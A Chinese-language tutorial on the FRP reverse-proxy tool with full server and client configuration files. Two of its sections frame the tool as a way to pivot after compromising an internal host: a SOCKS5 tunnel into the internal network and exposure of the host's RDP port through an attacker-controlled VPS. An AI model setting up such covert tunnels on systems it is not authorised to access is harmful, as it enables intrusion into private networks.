內網穿透工具FRP的使用
FRP
FRP(Fast Reverse Proxy) 是一款簡單,好用,穩定的隧道工具。FRP 使用 Go 語言開發,它是一款高性能的反向代理應用,可以輕松地進行內網穿透,對外網提供服務。FRP 支持 TCP、UDP、KCP、HTTP、HTTPS等協議類型,並且支持 Web 服務根據域名進行路由轉發。在進行內網滲透中,FRP是常用的一款隧道工具。
目錄
-
使用FRP建立隧道
-
使用FRP映射Web服務
-
使用FRP映射3389端口
0x01 使用FRP建立隧道
現在有這么一個場景,我們獲得了一個位於內網的通過NAT方式對外提供服務的主機的權限,現在我們需要對其所在的內網繼續進行滲透。於是,我們就需要通過FRP建立一個隧道,讓我們的主機可以通過隧道訪問其內網。
服務端
我們的vps作為服務端,服務端啟動:frps.exe -c frps.ini ,服務端的配置frps.ini 如下
[common]
bind_addr = 0.0.0.0 #綁定的ip,為本機
bind_port = 17000 #綁定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口
dashboard_user = root #管理的用戶名
dashboard_pwd = 123456 #管理用戶的密碼
token = 1q2w3e #客戶端服務端連接的密碼
heartbeat_timeout = 90 #心跳超時時間
max_pool_count = 5 #最大同時連接數
客戶端
被控的主機作為客戶端,客戶端啟動:frpc.exe -c frpc.ini ,客戶端的配置文件frpc.ini 如下
[common]
server_addr = 100.20.14.14
server_port = 17000 #服務器綁定的端口
token = 1q2w3e #連接的密碼
pool_count = 5
protocol = tcp #協議類型
health_check_type = tcphealth_check_interval_s = 100
[test]
remote_port = 10000 #代理的端口
plugin = socks5 #使用的協議
use_encryption = true #是否加密
use_compression = true
訪問 http://100.20.14.14:27500 ,用 root 123456 登錄,查看TCP。說明隧道搭建完成
0x02 使用FRP映射Web服務
現在有這么一個場景,位於內網的主機需要對外提供Web服務,於是將內網主機的80端口映射到公網主機的80端口上
服務端
位於公網的主機作為服務端,服務端啟動:frps.exe -c frps.ini ,服務端的配置frps.ini 如下
[common]bind_addr = 0.0.0.0 #綁定的ip,為本機
bind_port = 17000 #綁定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口
dashboard_user = root #管理的用戶名
dashboard_pwd = 123456 #管理用戶的密碼
token = 1q2w3e #客戶端服務端連接的密碼
heartbeat_timeout = 90 #心跳超時時間
客戶端
位於內網的主機作為客戶端,客戶端啟動:frpc.exe -c frpc.ini ,客戶端的配置文件frpc.ini 如下
[common]server_addr = 100.20.14.14
server_port = 17000 #服務器綁定的端口
token = 1q2w3e #連接的密碼
[HTTP] type=tcplocal_ip = 127.0.0.1 #本地ip地址
local_port = 80 #要映射的本地端口
remote_port = 80 #要映射的服務端端口
custom_domains=www.test.com #這個必須要寫
訪問 http://100.20.14.14:27500 ,用 root 123456 登錄,查看TCP。說明隧道搭建完成
然后訪問http://100.20.14.14就是相當於訪問位於內網的主機 http://192.168.10.10了
0x03 使用FRP映射3389端口
現在有這么一個場景,我們獲得了位於內網的一台主機的權限,並且知道了他的登錄用戶名和密碼。他的3389端口只對內網開放,現在我們需要將該主機的3389端口映射到公網我們的VPS的3389端口,那樣,我們連接我們VPS的3389端口就相當於連接內網主機的3389端口了
服務端
位於公網的VPS作為服務端,服務端啟動:frps.exe -c frps.ini ,服務端的配置frps.ini 如下:
[common]bind_addr = 0.0.0.0 #綁定的ip,為本機
bind_port = 17000 #綁定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口
dashboard_user = root #管理的用戶名
dashboard_pwd = 123456 #管理用戶的密碼
token = 1q2w3e #客戶端服務端連接的密碼
heartbeat_timeout = 90 #心跳超時時間
客戶端
位於內網的主機作為客戶端,客戶端啟動:frpc.exe -c frpc.ini ,客戶端的配置文件frpc.ini 如下:
[common]
server_addr = 100.20.14.14
server_port = 17000
token = 1q2w3e
[test]
type=tcplocal_ip = 127.0.0.1
local_port = 3389
remote_port = 3389
訪問 http://100.20.14.14:27500 ,用 root 123456 登錄,查看TCP。說明隧道搭建完成
注:使用FRP映射其他服務,例如SSH、Mysql、Redis等服務都是和映射web、RDP服務一樣,修改一下要映射的端口即可。